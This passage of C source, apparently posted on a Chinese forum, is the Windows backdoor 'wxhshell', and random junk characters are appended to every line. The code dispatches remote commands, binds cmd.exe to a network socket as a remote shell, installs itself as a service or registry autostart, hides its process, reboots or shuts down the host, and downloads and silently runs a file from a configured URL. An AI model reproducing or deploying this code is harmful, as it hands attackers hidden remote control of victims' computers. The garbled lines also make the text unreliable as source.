  case '?': { \eoJ6IRE\T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +sm9H"_0  
    break; @q++eGm\Q  
  } c W^  
  // 安装 _@A%t&l  
  case 'i': { H+?@LPV*N  
    if(Install()) ykBq?Vr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Scz/2vNi`  
    else Z_WJgH2c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XM:Y(#?l  
    break; q6AL}9]9  
    } t +h}hL  
  // 卸载 <d] t{M62W  
  case 'r': { m-AW}1:\f  
    if(Uninstall()) Cp!Qd e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 P/1'f3  
    else i"OY=iw-N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LG:Mksd8=4  
    break; KlSg0s  
    } )2g-{cYv  
  // 显示 wxhshell 所在路径 R$M>[Kjn  
  case 'p': { 3c[< #] 8S  
    char svExeFile[MAX_PATH]; -,pw[R  
    strcpy(svExeFile,"\n\r"); ! +{$dB>a  
      strcat(svExeFile,ExeFile); hNUkaP  
        send(wsh,svExeFile,strlen(svExeFile),0); 0oNy  
    break; bVW2Tjc:  
    } 6$ x9@x8  
  // 重启 5$<Ozkj(  
  case 'b': { g?> V4WF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CMviR<.  
    if(Boot(REBOOT))  Jknit  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bc%N !d  
    else { c?7 Wjy  
    closesocket(wsh); OqlP_^Zz7p  
    ExitThread(0); HE.YfD)  
    } TBu[3X%  
    break; [e?vqm .  
    } *]+5T-R% $  
  // 关机 rpM jDjW  
  case 'd': { /~}<[6ZGCY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yl UkVr   
    if(Boot(SHUTDOWN)) rw%1>]os  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mx_O'D  
    else { 54>gr1B  
    closesocket(wsh); {-.ZFUZmT  
    ExitThread(0); &!0%"4  
    } ZK$<"z6{  
    break; bP HtP\)  
    } ~F^7L5d}C  
  // 获取shell 8%#pv}  
  case 's': { ]>H'CM4JR  
    CmdShell(wsh); w[hT,$n  
    closesocket(wsh); OTV$8{  
    ExitThread(0); I*OJPFZ^4  
    break; QNxY`  
  } bY!1t}ALh  
  // 退出 &+Yoob]P  
  case 'x': { Lf0Wc'9{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E`gUNAKQ  
    CloseIt(wsh); %}1v-z  
    break; 4#Id0['  
    } gf^XqTLs  
  // 离开 "|6763.{4  
  case 'q': { @; 0t+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !r %u@[(  
    closesocket(wsh); ~%Xs"R1c ,  
    WSACleanup(); L2`a| T=  
    exit(1); 7>!Rg~M  
    break; l2 mO{'|C  
        } dH_g:ocA  
  } 3}gf %U]L  
  } g#s hd~e  
z=pGu_`2  
  // 提示信息 JH`oa1 b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MVXy)9q  
} v|@1W Uc,g  
  } N5jJ,iz  
/^Ng7Mi!  
  return; ![3l K  
} %mr6p}E|  
vD3j(d  
// shell模块句柄 SU>cJ*  
int CmdShell(SOCKET sock) _8ubo\M~  
{ oa2v/P1`  
STARTUPINFO si; Pt[ b;}  
ZeroMemory(&si,sizeof(si)); L6n<h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EB2 5N~7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v/z~ j  
PROCESS_INFORMATION ProcessInfo; CA5q(ID_  
char cmdline[]="cmd"; -I*NS6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %h "%G=:  
  return 0; Y2>0Y3yM  
} e%EE|  
IZ 3e:  
// 自身启动模式 eiwPp9[08  
int StartFromService(void) *Vr;rk  
{ ) ={ H  
typedef struct +~f5dJyk`  
{ 1YJ@9*l  
  DWORD ExitStatus; I_3{i`g  
  DWORD PebBaseAddress; Q5>]f/LD  
  DWORD AffinityMask; B0$.oavC  
  DWORD BasePriority; k.Q4oyei  
  ULONG UniqueProcessId; 6y   
  ULONG InheritedFromUniqueProcessId; a n,$Z,G#K  
}   PROCESS_BASIC_INFORMATION; 8G?OZ47k#  
xn,I<dL39  
PROCNTQSIP NtQueryInformationProcess; jrZH1dvE  
+hUz/G+3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U~s-'-C /  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +?bjP6w_g  
z,IUCNgM  
  HANDLE             hProcess; H:!pFj  
  PROCESS_BASIC_INFORMATION pbi; &LDA=B  
Q/^a(   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wk-jaz  
  if(NULL == hInst ) return 0; NW`L6wgl  
SeIL   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7xoq:oP-}N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K} TSwY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xF])NZy|  
}e0>Uk`[  
  if (!NtQueryInformationProcess) return 0; `z~L0h  
8;Eg>_cL:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b2G1@f.U  
  if(!hProcess) return 0; f}uW(:f  
]Yx&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BfdS3VrZ/  
Xn* >qm  
  CloseHandle(hProcess); 8Y&_X0T|  
|eEXCn3{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f/3rcYR;y  
if(hProcess==NULL) return 0; +puF0]TR,i  
1y7FvD~v  
HMODULE hMod; jzAXC^FS  
char procName[255]; -@?4Tfl  
unsigned long cbNeeded; =v49[i  
 MKZq*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >o|.0aw<  
3R6=C~  
  CloseHandle(hProcess); #bmbK{[  
(Qj;B)  
if(strstr(procName,"services")) return 1; // 以服务启动 4d;.p1ro  
}^]TUe@a  
  return 0; // 注册表启动 pfF2!`7pI  
} !G~`5?CvE  
#kRt\Fzq  
// 主模块 bguTWI8bk  
int StartWxhshell(LPSTR lpCmdLine) ~U<=SyZYo  
{ JE ''Th}  
  SOCKET wsl; `<IaQY  
BOOL val=TRUE; 5"2pU{xmK  
  int port=0; '-M9v3itC  
  struct sockaddr_in door; &"mWi-Mpl  
~R  C\  
  if(wscfg.ws_autoins) Install(); )bl^:C  
<(W:Q3?s  
port=atoi(lpCmdLine); xY<*:&  
O2N~&<^  
if(port<=0) port=wscfg.ws_port; cs0rz= ZdH  
3eR c>^wh  
  WSADATA data; 0^mCj<g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B(,j*,f  
`tH :oP0=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A!IZIT5)m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E5 uk<e_  
  door.sin_family = AF_INET; :@K~>^+U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $_Q]3"U  
  door.sin_port = htons(port); Fb<fQIa  
gRg8D{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mae@L  
closesocket(wsl); ]@ N::!m  
return 1; $n_ax\15  
} AGK{t+`  
Z:.*fs5  
  if(listen(wsl,2) == INVALID_SOCKET) { Bnh*;J0  
closesocket(wsl); RKD$'UWX  
return 1; mt}3/d  
} `{  ` W-C  
  Wxhshell(wsl); ^\7GFpc  
  WSACleanup(); Fr)6<9%xVm  
^|ul3_'?  
return 0; !<= ^&\A  
CM4#Nn=i~  
} - sL4tMP  
!;E{D  
// 以NT服务方式启动 &Rt^G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'W*ODAz6  
{ ~ As_O6JI  
DWORD   status = 0; ,QPo%{:p  
  DWORD   specificError = 0xfffffff; ChRCsu~  
O ~D]C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; grTwo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y@9ifFr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1!&m1  
  serviceStatus.dwWin32ExitCode     = 0; u$ff %`E  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Y`TP4Ip  
  serviceStatus.dwCheckPoint       = 0; w 3$9  
  serviceStatus.dwWaitHint       = 0; J8?V1Ad{  
jq( QL%)_O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wPl9%  
  if (hServiceStatusHandle==0) return; Tno 0Q +  
B~47mw&b  
status = GetLastError(); A+ LX37B  
  if (status!=NO_ERROR) Y%Tm `$^V  
{ j6#Vwcr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {C5-M!D{<  
    serviceStatus.dwCheckPoint       = 0; =PYS5\k  
    serviceStatus.dwWaitHint       = 0; CSlPrx2\  
    serviceStatus.dwWin32ExitCode     = status; |Pq z0n=v  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]:svR@E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O7z5,-  
    return; {9XQ~t"m^  
  } H&uh$y@  
f J+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (x140_TH~  
  serviceStatus.dwCheckPoint       = 0; T0"q,lrdxV  
  serviceStatus.dwWaitHint       = 0; ,"?xy-6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )M_|r2dDq3  
} Esdw^MGL2  
aPm2\Sq$  
// 处理NT服务事件,比如:启动、停止 O:jaA3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gb}>xO  
{ C^7M>i  
switch(fdwControl) csj 4?]gI  
{ )}1S `*J/O  
case SERVICE_CONTROL_STOP: b_']S0$c\  
  serviceStatus.dwWin32ExitCode = 0; ?6//'bO:%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a\tv,Lx  
  serviceStatus.dwCheckPoint   = 0; WP >VQZ&  
  serviceStatus.dwWaitHint     = 0; t(Gg 1  
  { n..R'vNj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !'*1;OQ  
  } 3Uy(d,N  
  return; z?  Ck9  
case SERVICE_CONTROL_PAUSE: 7',WLuD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; . H9a  
  break; Ny G?^  
case SERVICE_CONTROL_CONTINUE: #]z_pp:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \CrWKBL  
  break; =`.OKUAn  
case SERVICE_CONTROL_INTERROGATE: wW|[Im&  
  break; ZiC~8p_f  
}; 2<tU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cBQ+`DXn5c  
} \-CL}Z}S  
.x][ _I>  
// 标准应用程序主函数 l09DH+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i/RA/q  
{ Xp0S  
6-QcHJ>m6U  
// 获取操作系统版本 r=S,/N(1  
OsIsNt=GetOsVer(); g)nT]+&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3c[]P2Bh  
,D2nUk  
  // 从命令行安装 +lZvj=gW  
  if(strpbrk(lpCmdLine,"iI")) Install(); Un Ocw  
K[l5=)G0L  
  // 下载执行文件 MY l9 &8  
if(wscfg.ws_downexe) {  mT,#"k8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t(p}0}Pp  
  WinExec(wscfg.ws_filenam,SW_HIDE); V z-]H]MW,  
} `NCH^)  
-ju}I  
if(!OsIsNt) { U3BhoD#f\  
// 如果时win9x,隐藏进程并且设置为注册表启动 @.} @K  
HideProc(); m.Ki4NUm  
StartWxhshell(lpCmdLine); lQ#='Jqfp  
} vfdTGM`3  
else r b*;4a  
  if(StartFromService()) M=Y['w x  
  // 以服务方式启动 ?<1~KLPMhY  
  StartServiceCtrlDispatcher(DispatchTable); Ww=b{lUD  
else <jG[ z69)  
  // 普通方式启动 ["sm7yQ  
  StartWxhshell(lpCmdLine); CvRO'  
q``:[Sz  
return 0; [wn! <#~v  
}
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只看该作者 1 发表于: 2006-10-10
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